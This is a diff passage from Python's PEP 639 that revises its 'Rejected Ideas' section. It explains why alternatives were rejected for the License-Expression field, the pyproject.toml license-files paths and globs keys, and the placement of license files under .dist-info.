symbols +(including SPDX license IDs and any extra identifiers included here). +It is licensed under Apache-2.0 and is already used in several projects, +including the `SPDX Python Tools `__, +the `ScanCode toolkit `__ +and the Free Software Foundation Europe (FSFE) `REUSE project `__. -Rejected ideas +.. _639-rejected-ideas: + +Rejected Ideas ============== -1. Use a new ``License-Expression`` field and deprecate the ``License`` field. +Core metadata fields +-------------------- -Adding a new field would introduce backward incompatible changes when the -``License`` field would be retired later and require having more complex -validation. The use of such a field would further introduce a new concept that -is not seen anywhere else in any other package metadata (e.g. a new field only -for license expression) and possibly be a source of confusion. Also, users are -less likely to start using a new field than make small adjustments to their use -of existing fields. +Potential alternatives to the structure, content and deprecation of the +core metadata fields specified in this PEP. + + +Re-use the ``License`` field +'''''''''''''''''''''''''''' + +Following `initial discussion `__, earlier versions of this +PEP proposed re-using the existing ``License`` field, which tools would +attempt to parse as a SPDX license expression with a fallback to free text. +Initially, this would merely cause a warning (or even pass silently), +but would eventually be treated as an error by modern tooling. + +This offered the potential benefit of greater backwards-compatibility, +easing the community into using SPDX license expressions while taking advantage +of packages that already have them (either intentionally or coincidentally), +and avoided adding yet another license-related field. + +However, following substantial discussion, consensus was reached that a +dedicated ``License-Expression`` field was the preferred overall approach. +The presence of this field is an unambiguous signal that a package +intends it to be interpreted as a valid SPDX identifier, without the need +for complex and potentially erroneous heuristics, and allows tools to +easily and unambiguously detect invalid content. + +This avoids both false positive (``License`` values that a package author +didn't explicitly intend as an explicit SPDX identifier, but that happen +to validate as one), and false negatives (expressions the author intended +to be valid SPDX, but due to a typo or mistake are not), which are otherwise +not clearly distinguishable from true positives and negatives, an ambiguity +at odds with the goals of this PEP. + +Furthermore, it allows both the existing ``License`` field and +the license classifiers to be more easily deprecated, +with tools able to cleanly distinguish between packages intending to +affirmatively conform to the updated specification in this PEP or not, +and adapt their behavior (warnings, errors, etc) accordingly. +Otherwise, tools would either have to allow duplicative and potentially +conflicting ``License`` fields and classifiers, or warn/error on the +substantial number of existing packages that have SPDX identifiers as the +value for the ``License`` field, intentionally or otherwise (e.g. ``MIT``). + +Finally, it avoids changing the behavior of an existing metadata field, +and avoids tools having to guess the ``Metadata-Version`` and field behavior +based on its value rather than merely its presence. + +While this would mean the subset of existing distributions containing +``License`` fields valid as SPDX license expressions wouldn't automatically be +recognized as such, this only requires appending a few characters to the key +name in the project's source metadata, and this PEP provides extensive +guidance on how this can be done automatically by tooling. + +Given all this, it was decided to proceed with defining a new, +purpose-created field, ``License-Expression``. + + +Re-Use the ``License`` field with a value prefix +'''''''''''''''''''''''''''''''''''''''''''''''' + +As an alternative to the previous, prefixing SPDX license expressions with, +e.g. ``spdx:`` was suggested to reduce the ambiguity inherent in re-using +the ``License`` field. However, this effectively amounted to creating +a field within a field, and doesn't address all the downsides of +keeping the ``License`` field. Namely, it still changes the behavior of an +existing metadata field, requires tools to parse its value +to determine how to handle its content, and makes the specification and +deprecation process more complex and less clean. + +Yet, it still shares a same main potential downside as just creating a new +field: projects currently using valid SPDX identifiers in the ``License`` +field, intentionally or not, won't be automatically recognized, and requires +about the same amount of effort to fix, namely changing a line in the +project's source metadata. Therefore, it was rejected in favor of a new field. + + +Don't make ``License-Expression`` mutually exclusive +'''''''''''''''''''''''''''''''''''''''''''''''''''' + +For backwards compatibility, the ``License`` field and/or the license +classifiers could still be allowed together with the new +``License-Expression`` field, presumably with a warning. However, this +could easily lead to inconsistent, and at the very least duplicative +license metadata in no less than *three* different fields, which is +squarely contrary to the goals of this PEP of making the licensing story +simpler and unambiguous. Therefore, and in concert with clear community +consensus otherwise, this idea was soundly rejected. + + +Don't deprecate existing ``License`` field and classifiers +'''''''''''''''''''''''''''''''''''''''''''''''''''''''''' + +Several community members were initially concerned that deprecating the +existing ``License`` field and classifiers would result in +excessive churn for existing package authors and raise the barrier to +entry for new ones, particularly everyday Python developers seeking to +package and publish their personal projects without necessarily caring +too much about the legal technicalities or being a "license lawyer". +Indeed, every deprecation comes with some non-zero short-term cost, +and should be carefully considered relative to the overall long-term +net benefit. And at the minimum, this change shouldn't make it more +difficult for the average Python developer to share their work under +a license of their choice, and ideally improve the situation. + +Following many rounds of proposals, discussion and refinement, +the general consensus was clearly in favor of deprecating the legacy +means of specifying a license, in favor of "one obvious way to do it", +to improve the currently complex and fragmented story around license +documentation. Not doing so would leave three different un-deprecated ways of +specifying a license for a package, two of them ambiguous, less than +clear/obvious how to use, inconsistently documented and out of date. +This is more complex for all tools in the ecosystem to support +indefinitely (rather than simply installers supporting older packages +implementing previous frozen metadata versions), resulting in a non-trivial +and unbounded maintenance cost. + +Furthermore, it leads to a more complex and confusing landscape for users with +three similar but distinct options to choose from, particularly with older +documentation, answers and articles floating around suggesting different ones. +Of the three, ``License-Expression`` is the simplest and clearest to use +correctly; users just paste in their desired license identifier, or select it +via a tool, and they're done; no need to learn about Trove classifiers and +dig through the list to figure out which one(s) apply (and be confused +by many ambiguous options), or figure out on their own what should go +in the ``license`` key (anything from nothing, to the license text, +to a free-form description, to the same SPDX identifier they would be +entering in the ``license-expression`` key anyway, assuming they can +easily find documentation at all about it). In fact, this can be +made even easier thanks to the new field. For example, GitHub's popular +`ChooseALicense.com `__ links to how to add SPDX license +identifiers to the project source metadata of various languages that support +them right in the sidebar of every license page; the SPDX support in this +PEP enables adding Python to that list. + +For current package maintainers who have specified a ``License`` or license +classifiers, this PEP only recommends warnings and prohibits errors for +all but publishing tools, which are allowed to error if their intended +distribution platform(s) so requires. Once maintainers are ready to +upgrade, for those already using SPDX license expressions (accidentally or not) +this only requires appending a few characters to the key name in the +project's source metadata, and for those with license classifiers that +map to a single unambiguous license, or another defined case (public domain, +proprietary), they merely need to drop the classifier and paste in the +corresponding license identifier. This PEP provides extensive guidance and +examples, as will other resources, as well as explicit instructions for +automated tooling to take care of this with no human changes needed. +More complex cases where license metadata is currently specified may +need a bit of human intervention, but in most cases tools will be able +to provide a list of options following the mappings in this PEP, and +these are typically the projects most likely to be constrained by the +limitations of the existing license metadata, and thus most benefited +by the new fields in this PEP. + +Finally, for unmaintained packages, those using tools supporting older +metadata versions, or those who choose not to provide license metadata, +no changes are required regardless of the deprecation. + + +Don't mandate validating new fields on PyPI +''''''''''''''''''''''''''''''''''''''''''' + +Previously, while this PEP did include normative guidelines for packaging +publishing tools (such as Twine), it did not provide specific guidance +for PyPI (or other package indices) as to whether and how they +should validate the ``License-Expression`` or ``License-File`` fields, +nor how they should handle using them in combination with the deprecated +``License`` field or license classifiers. This simplifies the specification +and either defers implementation on PyPI to a later PEP, or gives +discretion to PyPI to enforce the stated invariants, to minimize +disruption to package authors. + +However, this had been left unstated from before the ``License-Expression`` +field was separate from the existing ``License``, which would make +validation much more challenging and backwards-incompatible, breaking +existing packages. With that change, there was a clear consensus that +the new field should be validated from the start, guaranteeing that all +distributions uploaded to PyPI that declare core metadata version 2.3 +or higher and have the ``License-Expression`` field will have a valid +expression, such that PyPI and consumers of its packages and metadata +can rely upon to follow the specification here. + +The same can be extended to the new ``License-File`` field as well, +to ensure that it is valid and the legally required license files are +present, and thus it is lawful for PyPI, users and downstream consumers +to distribute the package. (Of course, this makes no *guarantee* of such +as it is ultimately reliant on authors to declare them, but it improves +assurance of this and allows doing so in the future if the community so +decides.) To be clear, this would not require that any uploaded distribution +have such metadata, only that if they choose to declare it per the new +specification in this PEP, it is assured to be valid. + + +Source metadata ``license`` key +------------------------------- + +Alternate possibilities related to the ``license`` key in the +``pyproject.toml`` project source metadata specified in :pep:`621`. + + +Add ``expression`` and ``files`` subkeys to table +''''''''''''''''''''''''''''''''''''''''''''''''' + +A previous working draft of this PEP added ``expression`` and ``files`` subkeys +to the existing ``license`` table in the :pep:`621` source metadata, to parallel +the existing ``file`` and ``text`` subkeys. While this seemed perhaps the +most obvious approach at first glance, it had several serious drawbacks +relative to that ultimately taken here. + +Most saliently, this means two very different types of metadata are being +specified under the same top-level key that require very different handling, +and furthermore, unlike the previous arrangement, the subkeys were not mutually +exclusive and can both be specified at once, and with some subkeys potentially +being dynamic and others static, and mapping to different core metadata fields. +This also breaks from the consensus for the core metadata fields, namely to +separate the license expression into its own explicit field. + +Furthermore, this leads to a conflict with marking the key as ``dynamic`` +(assuming that is intended to specify :pep:`621` keys, as that PEP seems to rather +imprecisely imply, rather than core metadata fields), as either both would have +to be treated as ``dynamic``. A user may want to specify the ``expression`` +key as ``dynamic``, if they intend their tooling to generate it automatically; +conversely, they may rely on their build tool to dynamically detect license +files via means outside of that strictly specified here. And indeed, current +users may mark the present ``license`` key as ``dynamic`` to automatically +fill it in the metadata. Grouping all these uses under the same key forces an +"all or nothing" approach, and creates ambiguity as to user intent. + +There are further downsides to this as well. Both users and tools would need to +keep track of which fields are mutually exclusive with which of the others, +greatly increasing cognitive and code complexity, and in turn the probability +of errors. Conceptually, juxtaposing so many different fields under the +same key is rather jarring, and leads to a much more complex mapping between +:pep:`621` keys and core metadata fields, not in keeping with :pep:`621`. +This causes the :pep:`621` naming and structure to diverge further from +both the core metadata and native formats of the various popular packaging +tools that use it. Finally, this results in the spec being significantly more +complex and convoluted to understand and implement than the alternatives. + +The approach this PEP now takes, adding distinct ``license-expression`` and +``license-files`` keys and simply deprecating the whole ``license`` key, avoids +all the issues identified above, and results in a much clearer and cleaner +design overall. It allows ``license`` and ``license-files`` to be tagged +``dynamic`` independently, separates two independent types of metadata +(syntactically and semantically), restores a closer to 1:1 mapping of +:pep:`621` keys to core metadata fields, and reduces nesting by a level for both. +Other than adding two extra keys to the file, there was no significant +apparent downside to this latter approach, so it was adopted for this PEP. + + +Define license expression as string value +''''''''''''''''''''''''''''''''''''''''' + +A compromise approach between adding two new top-level keys for license +expressions and files would be adding a separate ``license-files`` key, +but re-using the ``license`` key for the license expression, either by +defining it as the (previously reserved) string value for the ``license`` +key, retaining the ``expression`` subkey in the ``license`` table, or +allowing both. Indeed, this would seem to have been envisioned by :pep:`621` +itself with this PEP in mind, in particular the first approach: + + A practical string value for the license key has been purposefully left + out to allow for a future PEP to specify support for SPDX expressions + (the same logic applies to any sort of "type" field specifying what + license the file or text represents). + +However, while a working draft temporarily explored this solution, it was +ultimately rejected, as it shared most of the downsides identified with +adding new subkeys under the existing ``license`` table, as well as several +of its own, with again minimal advantage over separating both. + +Most importantly, it still means that per :pep:`621`, it is not possible to +separately mark the ``[project]`` keys corresponding to the ``License`` and +``License-Expression`` metadata fields as dynamic. This, in turn, still +renders specifying metadata following that standard incompatible with +conversion of legacy metadata, as specified in this PEP's +:ref:`639-spec-converting-metadata`, as :pep:`621` strictly prohibits the +``license`` key from being both present (to define the existing value of +the ``License`` field, or the path to a license file, and thus able to be +converted), and specified as ``dynamic`` (which would allow tools to +use the generated value for the ``License-Expression`` field. + +For the same reasons, this would make it impossible to back-fill the +``License`` field from the ``License-Expression`` field as this PEP +currently allows (without making an exception from strict +``dynamic`` behavior in this case), as again, marking ``license`` as dynamic +would mean it cannot be specified in the ``project`` table at all. + +Furthermore, this would mean existing project source metadata specifying +``license`` as ``dynamic`` would be ambiguous, as it would be impossible for +tools to statically determine if they are intended to conform to previous +metadata versions specifying ``License``, or this version specifying +``License-Expression``. Tools would have no way of determining which field, +if either, might be filled in the resulting distribution's core metadata. +By contrast, the present approach makes clear what the author intended, +allows tools to unambiguously determine which field(s) may be dynamically +inserted, and ensures backward compatibility such that current project +source metadata do not unknowingly specify both the old and the new field +as dynamic, and instead must do so explicitly per :pep:`621`'s intent. + +Additionally, while differences from existing tool formats (and core metadata +field names) has precedent in :pep:`621` (though is best avoided if practical), +using a key with an identical name as in all current tools (and of an existing +core metadata field) to mean something different (and map to a different +core metadata field), with distinct and incompatible syntax and semantics, +does not, and is likely to create substantial and confusion and ambiguity +for readers and authors, contrary to the fundamental goals of this PEP. + +Finally, this means that the top-level ``license`` key still maps to multiple +core metadata fields with different purposes and interpretation (``License`` +and ``License-Expression``), this would deny a clear separation from the +old behavior by not cleanly deprecating the ``license`` key, and +increases the complexity of the specification and implementation. + +In addition to the aforementioned issues, this also requires deciding between +the three individual approaches (``expression`` subkey, top-level string or +allowing both), all of which have further significant downsides and none of +which are clearly superior or more obvious, leading to needless bikeshedding. + +If the license expression was made the string value of the ``license`` key, +as reserved by :pep:`621`, it would be slightly shorter for users to type and +more obviously the preferred approach. However, it is far *less* obvious that +it is a license expression at all, to authors and those viewing the files, +and this lack of clarity, explicitness, ambiguity and potential for user +confusion is exactly what this PEP seeks to avoid, all to save a few characters +over other approaches. + +If an ``expression`` subkey was added to the ``license`` table, it would retain +the clarity of a new top-level key, but add additional complexity for no +real benefit, with an extra level of nesting, and users and tools needing to +deal with the mutual exclusivity of the subkeys, as before. And allowing both +(as a table subkey *and* the string value) would inherit both's downsides, +while adding even more spec and tool complexity and making there more than +"one obvious way to do it", further potentially confusing users. + +Therefore, a separate top-level ``license-expression`` key was adopted to avoid +all these issues, with relatively minimal downside aside from adding a single +additional key and (versus some approaches) a few extra characters to type. + + +Add a ``type`` key to treat as expression +''''''''''''''''''''''''''''''''''''''''' + +Instead of creating a new top-level ``license-expression`` key in the +:pep:`621` source metadata, one could add a ``type`` subkey to the existing +``license`` table to control whether ``text`` (or a string value) +is interpreted as free-text or a license expression. This could make +backward compatibility a little more seamless, as older tools could ignore +it and always treat ``text`` as ``license``, while newer tools would +know to treat it as a license expression, if ``type`` was set appropriately. +Indeed, :pep:`621` seems to suggest something of this sort as a possible +alternative way that SPDX license expressions could be implemented. + +However, all the same downsides as in the previous item apply here, +including greater complexity, a more complex mapping between the project +source metadata and core metadata and inconsistency between the presentation +in tool config, :pep:`621` and core metadata, a much less clean deprecation, +further bikeshedding over what to name it, and inability to mark one but +not the other as dynamic, among others. + +In addition, while theoretically potentially a little easier in the short +term, in the long term it would mean users would always have to remember +to specify the correct ``type`` to ensure their license expression is +interpreted correctly, which adds work and potential for error; we could +never safety change the default while being confident that users +understand that what they are entering is unambiguously a license expression, +with all the false positive and false negative issues as above. + +Therefore, for these as well as the same reasons this approach was rejected +for the core metadata in favor of a distinct ``License-Expression`` field, +we similarly reject this here. + + +Must be marked dynamic to back-fill +''''''''''''''''''''''''''''''''''' + +The ``license`` key in the ``pyproject.toml`` could be required to be +explicitly set to dynamic in order for the ``License`` core metadata field +to be automatically back-filled from the value of the ``license-expression`` +key. This would be more explicit that the filling will be done, as strictly +speaking the ``license`` key is not (and cannot be) specified in +``pyproject.toml``, and satisfies a stricter interpretation of the letter +of the current :pep:`621` specification that this PEP revises. + +However, this isn't seen to be necessary, because it is simply using the +static, verbatim literal value of the ``license-expression`` key, as specified +strictly in this PEP. Therefore, any conforming tool can trivially, +deterministically and unambiguously derive this using only the static data +in the ``pyproject.toml`` file itself. + +Furthermore, this actually adds significant ambiguity, as it means the value +could get filled arbitrarily by other tools, which would in turn compromise +and conflict with the value of the new ``License-Expression`` field, which is +why such is explicitly prohibited by this PEP. Therefore, not marking it as +``dynamic`` will ensure it is only handled in accordance with this PEP's +requirements. + +Finally, users explicitly being told to mark it as ``dynamic``, or not, to +control filling behavior seems to be a bit of a mis-use of the ``dynamic`` +field as apparently intended, and prevents tools from adapting to best +practices (fill, don't fill, etc) as they develop and evolve over time. + + +Source metadata ``license-files`` key +------------------------------------- + +Alternatives considered for the ``license-files`` key in the +:pep:`621` project source metadata, primarily related to the +path/glob type handling. + + +Add a ``type`` subkey to ``license-files`` +'''''''''''''''''''''''''''''''''''''''''' + +Instead of defining mutually exclusive ``paths`` and ``globs`` subkeys +of the ``license-files`` :pep:`621` project metadata key, we could +achieve the same effect with a ``files`` subkey for the list and +a ``type`` subkey for how to interpret it. However, the latter offers no +real advantage over the former, in exchange for requiring more keystrokes, +verbosity and complexity, as well as less flexibility in allowing both, +or another additional subkey in the future, as well as the need to bikeshed +over the subkey name. Therefore, it was summarily rejected. + + +Only accept verbatim paths +'''''''''''''''''''''''''' + +Globs could be disallowed completely as values to the ``license-files`` +key in ``pyproject.toml`` and only verbatim literal paths allowed. +This would ensure that all license files are explicitly specified, all +specified license files are found and included, and the source metadata +is completely static in the strictest sense of the term, without tools +having to inspect the rest of the project source files to determine exactly +what license files will be included and what the ``License-File`` values +will be. This would also modestly simplify the spec and tool implementation. + +However, practicality once again beats purity here. Globs are supported and +used by many existing tools for finding license files, and explicitly +specifying the full path to every license file would be unnecessarily tedious +for more complex projects with vendored code and dependencies. More +critically, it would make it much easier to accidentally miss a required +legal file, silently rendering the package illegal to distribute. + +Tools can still statically and consistently determine the files to be included, +based only on those glob patterns the user explicitly specified and the +filenames in the package, without installing it, executing its code or even +examining its files. Furthermore, tools are still explicitly allowed to warn +if specified glob patterns (including full paths) don't match any files. +And, of course, sdists, wheels and others will have the full static list +of files specified in their distribution metadata. + +Perhaps most importantly, this would also preclude the currently specified +default value, as widely used by the current most popular tools, and thus +be a major break to backward compatibility, tool consistency, and safe +and sane default functionality to avoid unintentional license violations. +And of course, authors are welcome and encouraged to specify their license +files explicitly via the ``paths`` table subkey, once they are aware of it and +if it is suitable for their project and workflow. + + +Only accept glob patterns +''''''''''''''''''''''''' +Conversely, all ``license-files`` strings could be treated as glob patterns. +This would slightly simplify the spec and implementation, avoid an extra level +of nesting, and more closely match the configuration format of existing tools. + +However, for the cost of a few characters, it ensures users are aware +whether they are entering globs or verbatim paths. Furthermore, allowing +license files to be specified as literal paths avoids edge cases, such as those +containing glob characters (or those confusingly or even maliciously similar +to them, as described in :pep:`672`). + +Including an explicit ``paths`` value ensures that the resulting +``License-File`` metadata is correct, complete and purely static in the +strictest sense of the term, with all license paths explicitly specified +in the ``pyproject.toml`` file, guaranteed to be included and with an early +error should any be missing. This is not practical to do, at least without +serious limitations for many workflows, if we must assume the items +are glob patterns rather than literal paths. + +This allows tools to locate them and know the exact values of the +``License-File`` core metadata fields without having to traverse the +source tree of the project and match globs, potentially allowing easier, +more efficient and reliable programmatic inspection and processing. + +Therefore, given the relatively small cost and the significant benefits, +this approach was not adopted. + + +Infer whether paths or globs +'''''''''''''''''''''''''''' + +It was considered whether to simply allow specifying an array of strings +directly for the ``license-files`` key, rather than making it a table with +explicit ``paths`` and ``globs``. This would be somewhat simpler and avoid +an extra level of nesting, and more closely match the configuration format +of existing tools. However, it was ultimately rejected in favor of separate, +mutually exclusive ``paths`` and ``globs`` table subkeys. + +In practice, it only saves six extra characters in the ``pyproject.toml`` +(``license-files = [...]`` vs ``license-files.globs = [...]``), but allows +the user to more explicitly declare their intent, ensures they understand how +the values are going to be interpreted, and serves as an unambiguous indicator +for tools to parse them as globs rather than verbatim path literals. + +This, in turn, allows for more appropriate, clearly specified tool +behaviors for each case, many of which would be unreliable or impossible +without it, to avoid common traps, provide more helpful feedback and +behave more sensibly and intuitively overall. These include, with ``paths``, +guaranteeing that each and every specified file is included and immediately +raising an error if one is missing, and with ``globs``, checking glob syntax, +excluding unwanted backup, temporary, or other such files (as current tools +already do), and optionally warning if a glob doesn't match any files. +This also avoids edge cases (e.g. paths that contain glob characters) and +reliance on heuristics to determine interpretation—the very thing this PEP +seeks to avoid. + + +.. _639-license-files-allow-flat-array: + +Also allow a flat array value +''''''''''''''''''''''''''''' + +Initially, after deciding to define ``license-files`` as a table of ``paths`` +and ``globs``, thought was given to making a top-level string array under the +``license-files`` key mean one or the other (probably ``globs``, to match most +current tools). This is slightly shorter and simpler, would allow gently +nudging users toward a preferred one, and allow a slightly cleaner handling of +the empty case (which, at present, is treated identically for either). + +However, this again only saves six characters in the best case, and there +isn't an obvious choice; whether from a perspective of preference (both had +clear use cases and benefits), nor as to which one users would naturally +assume. + +Flat may be better than nested, but in the face of ambiguity, users +may not resist the temptation to guess. Requiring users to explicitly specify +one or the other ensures they are aware of how their inputs will be handled, +and is more readable for others, both human and machine alike. It also makes +the spec and tool implementation slightly more complicated, and it can always +be added in the future, but not removed without breaking backward +compatibility. And finally, for the "preferred" option, it means there is +more than one obvious way to do it. + +Therefore, per :pep:`20`, the Zen of Python, this approach is hereby rejected. + + +Allow both ``paths`` and ``globs`` subkeys +'''''''''''''''''''''''''''''''''''''''''' + +Allowing both ``paths`` and ``globs`` subkeys to be specified under the +``license-files`` table was considered, as it could potentially allow +more flexible handling for particularly complex projects, and specify on a +per-pattern rather than overall basis whether ``license-files`` entries +should be treated as ``paths`` or ``globs``. + +However, given the existing proposed approach already matches or exceeds the +power and capabilities of those offered in tools' config files, there isn't +clear demand for this and few likely cases that would benefit, it adds a large +amount of complexity for relatively minimal gain, in terms of the +specification, in tool implementations and in ``pyproject.toml`` itself. + +There would be many more edge cases to deal with, such as how to handle files +matched by both lists, and it conflicts in multiple places with the current +specification for how tools should behave with one or the other, such as when +no files match, guarantees of all files being included and of the file paths +being explicitly, statically specified, and others. + +Like the previous, if there is a clear need for it, it can be always allowed +in the future in a backward-compatible manner (to the extent it is possible +in the first place), while the same is not true of disallowing it. +Therefore, it was decided to require the two subkeys to be mutually exclusive. + + +Rename ``paths`` subkey to ``files`` +'''''''''''''''''''''''''''''''''''' + +Initially, it was considered whether to name the ``paths`` subkey of the +``license-files`` table ``files`` instead. However, ``paths`` was ultimately +chosen, as calling the table subkey ``files`` resulted in duplication between +the table name (``license-files``) and the subkey name (``files``), i.e. +``license-files.files = ["LICENSE.txt"]``, made it seem like the preferred/ +default subkey when it was not, and lacked the same parallelism with ``globs`` +in describing the format of the string entry rather than what was being +pointed to. + + +Must be marked dynamic to use defaults +'''''''''''''''''''''''''''''''''''''' + +It may seem outwardly sensible, at least with a particularly restrictive +interpretation of :pep:`621` 's description of the ``dynamic`` list, to +consider requiring the ``license-files`` key to be explicitly marked as +``dynamic`` in order for the default glob patterns to be used, or alternatively +for license files to be matched and included at all. + +However, this is merely declaring a static, strictly-specified default value +for this particular key, required to be used exactly by all conforming tools +(so long as it is not marked ``dynamic``, negating this argument entirely), +and is no less static than any other set of glob patterns the user themself +may specify. Furthermore, the resulting ``License-File`` core metadata values +can still be determined with only a list of files in the source, without +installing or executing any of the code, or even inspecting file contents. + +Moreover, even if this were not so, practicality would trump purity, as this +interpretation would be strictly backwards-incompatible with the existing +format, and be inconsistent with the behavior with the existing tools. +Further, this would create a very serious and likely risk of a large number of +projects unknowingly no longer including legally mandatory license files, +making their distribution technically illegal, and is thus not a sane, +much less sensible default. + +Finally, aside from adding an additional line of default-required boilerplate +to the file, not defining the default as dynamic allows authors to clearly +and unambiguously indicate when their build/packaging tools are going to be +handling the inclusion of license files themselves rather than strictly +conforming to the :pep:`621` portions of this PEP; to do otherwise would defeat +the primary purpose of the ``dynamic`` list as a marker and escape hatch. + + +License file paths +------------------ + +Alternatives related to the paths and locations of license files in the source +and built distributions. + + +Flatten license files in subdirectories +''''''''''''''''''''''''''''''''''''''' + +Previous drafts of this PEP were silent on the issue of handling license files +in subdirectories. Currently, the `Wheel `__ and (following its +example) `Setuptools `__ projects flatten all license files +into the ``.dist-info`` directory without preserving the source subdirectory +hierarchy. + +While this is the simplest approach and matches existing ad hoc practice, +this can result in name conflicts and license files clobbering others, +with no obvious defined behavior for how to resolve them, and leaving the +package legally un-distributable without any clear indication to users that +their specified license files have not been included. + +Furthermore, this leads to inconsistent relative file paths for non-root +license files between the source, sdist and wheel, and prevents the paths +given in the :pep:`621` "static" metadata from being truly static, as they need +to be flattened, and may potentially overwrite one another. Finally, +the source directory structure often implies valuable information about +what the licenses apply to, and where to find them in the source, +which is lost when flattening them and far from trivial to reconstruct. + +To resolve this, the PEP now proposes, as did contributors on both of the +above issues, reproducing the source directory structure of the original +license files inside the ``.dist-info`` directory. This would fully resolve the +concerns above, with the only downside being a more nested ``.dist-info`` +directory. There is still a risk of collision with edge-case custom +filenames (e.g. ``RECORD``, ``METADATA``), but that is also the case +with the previous approach, and in fact with fewer files flattened +into the root, this would actually reduce the risk. Furthermore, +the following proposal rooting the license files under a ``license_files`` +subdirectory eliminates both collisions and the clutter problem entirely. + + +Resolve name conflicts differently +'''''''''''''''''''''''''''''''''' + +Rather than preserving the source directory structure for license files +inside the ``.dist-info`` directory, we could specify some other mechanism +for conflict resolution, such as pre- or appending the parent directory name +to the license filename, traversing up the tree until the name was unique, +to avoid excessively nested directories. + +However, this would not address the path consistency issues, would require +much more discussion, coordination and bikeshedding, and further complicate +the specification and the implementations. Therefore, it was rejected in +favor of the simpler and more obvious solution of just preserving the +source subdirectory layout, as many stakeholders have already advocated for. + + +Dump directly in ``.dist-info`` +''''''''''''''''''''''''''''''' + +Previously, the included license files were stored directly in the top-level +``.dist-info`` directory of built wheels and installed projects. This followed +existing ad hoc practice, ensured most existing wheels currently using this +feature will match new ones, and kept the specification simpler, with the +license files always being stored in the same location relative to the core +metadata regardless of distribution type. + +However, this leads to a more cluttered ``.dist-info`` directory, littered +with arbitrary license files and subdirectories, as opposed to separating +licenses into their own namespace (which per the Zen of Python, :pep:`20`, are +"one honking great idea"). While currently small, there is still a +risk of collision with specific custom license filenames +(e.g. ``RECORD``, ``METADATA``) in the ``.dist-info`` directory, which +would only increase if and when additional files were specified here, and +would require carefully limiting the potential filenames used to avoid +likely conflicts with those of license-related files. Finally, +putting licenses into their own specified subdirectory would allow +humans and tools to quickly, easily and correctly list, copy and manipulate +all of them at once (such as in distro packaging, legal checks, etc) +without having to reference each of their paths from the core metadata. + +Therefore, now is a prudent time to specify an alternate approach. +The simplest and most obvious solution, as suggested by several on the Wheel +and Setuptools implementation issues, is to simply root the license files +relative to a ``license_files`` subdirectory of ``.dist-info``. This is simple +to implement and solves all the problems noted here, without clear significant +drawbacks relative to other more complex options. + +It does make the specification a bit more complex and less elegant, but +implementation should remain equally simple. It does mean that wheels +produced with following this change will have differently-located licenses +than those prior, but as this was already true for those in subdirectories, +and until this PEP there was no way of discovering these files or +accessing them programmatically, this doesn't seem likely to pose +significant problems in practice. Given this will be much harder if not +impossible to change later, once the status quo is standardized, tools are +relying on the current behavior and there is much greater uptake of not +only simply including license files but potentially accessing them as well +using the core metadata, if we're going to change it, now would be the time +(particularly since we're already introducing an edge-case change with how +license files in subdirs are handled, along with other refinements). + +Therefore, the latter has been incorporated into current drafts of this PEP. + + +Add new ``licenses`` category to wheel +'''''''''''''''''''''''''''''''''''''' + +Instead of defining a root license directory (``license_files``) inside +the core metadata directory (``.dist-info``) for wheels, we could instead +define a new category (and, presumably, a corresponding install scheme), +similar to the others currently included under ``.data`` in the wheel archive, +specifically for license files, called (e.g.) ``licenses``. This was mentioned +by the wheel creator, and would allow installing licenses somewhere more +platform-appropriate and flexible than just the ``.dist-info`` directory +in the site path, and potentially be conceptually cleaner than including +them there. + +However, at present, this PEP does not implement this idea, and it is +deferred to a future one. It would add significant complexity and friction +to this PEP, being primarily concerned with standardizing existing practice +and updating the core metadata specification. Furthermore, doing so would +likely require modifying ``sysconfig`` and the install schemes specified +therein, alongside Wheel, Installer and other tools, which would be a +non-trivial undertaking. While potentially slightly more complex for +repackagers (such as those for Linux distributions), the current proposal still +ensures all license files are included, and in a single dedicated directory +(which can easily be copied or relocated downstream), and thus should still +greatly improve the status quo in this regard without the attendant complexity. + +In addition, this approach is not fully backwards compatible (since it +isn't transparent to tools that simply extract the wheel), is a greater +departure from existing practice and would lead to more inconsistent +license install locations from wheels of different versions. Finally, +this would mean licenses would not be installed as proximately to their +associated code, there would be more variability in the license root path +across platforms and between built distributions and installed projects, +accessing installed licenses programmatically would be more difficult, and a +suitable install location and method would need to be created, discussed +and decided that would avoid name clashes. + +Therefore, to keep this PEP in scope, the current approach was retained. + + +Name the subdirectory ``licenses`` +'''''''''''''''''''''''''''''''''' + +Both ``licenses`` and ``license_files`` have been suggested as potential +names for the root license directory inside ``.dist-info`` of wheels and +installed projects. The former is slightly shorter, but the latter is +more clear and unambiguous regarding its contents, and is consistent with +the name of the core metadata field (``License-File``) and the :pep:`621` +project source metadata key (``license-files``). Therefore, the latter +was chosen instead. + + +Other ideas +----------- + +Miscellaneous proposals, possibilities and discussion points that were +ultimately not adopted. + + +Map identifiers to license files +'''''''''''''''''''''''''''''''' + +This would require using a mapping (as two parallel lists would be too prone to +alignment errors), which would add extra complexity to how license +are documented and add an additional nesting level. + +A mapping would be needed, as it cannot be guaranteed that all expressions +(keys) have a single license file associated with them (e.g. +GPL with an exception may be in a single file) and that any expression +does not have more than one. (e.g. an Apache license ``LICENSE`` and +its ``NOTICE`` file, for instance, are two distinct files). +For most common cases, a single license expression and one or more license +files would be perfectly adequate. In the rarer and more complex cases where +there are many licenses involved, authors can still safety use the fields +specified here, just with a slight loss of clarity by not specifying which +text file(s) map to which license identifier (though this should be clear in +practice given each license identifier has corresponding SPDX-registered +full license text), while not forcing the more complex data model +(a mapping) on the large majority of users who do not need or want it. + +We could of course have a data field with multiple possible value types (it's a +string, it's a list, it's a mapping!) but this could be a source of confusion. +This is what has been done, for instance, in npm (historically) and in Rubygems +(still today), and as result tools need to test the type of the metadata field +before using it in code, while users are confused about when to use a list or a +string. Therefore, this approach is rejected. + + +Map identifiers to source files +''''''''''''''''''''''''''''''' + +As discussed previously, file-level notices are out of scope for this PEP, +and the existing ``SPDX-License-Identifier`` `convention `__ can +already be used if this is needed without further specification here. + + +Don't freeze compatibility with a specific SPDX version +''''''''''''''''''''''''''''''''''''''''''''''''''''''' + +This PEP could omit specifying a specific SPDX specification version, +or one for the list of valid license identifiers, which would allow +more flexible updates as the specification evolves without another +PEP or equivalent. + +However, serious concerns were expressed about a future SPDX update breaking +compatibility with existing expressions and identifiers, leaving current +packages with invalid metadata per the definition in this PEP. Requiring +compatibility with a specific version of these specifications here +and a PEP or similar process to update it avoids this contingency, +and follows the practice of other packaging ecosystems. + +Therefore, it was `decided `__ to specify a minimum version +and requires tools to be compatible with it, while still allowing updates +so long as they don't break backward compatibility. This enables +tools to immediate take advantage of improvements and accept new +licenses, but also remain backwards compatible with the version +specified here, balancing flexibility 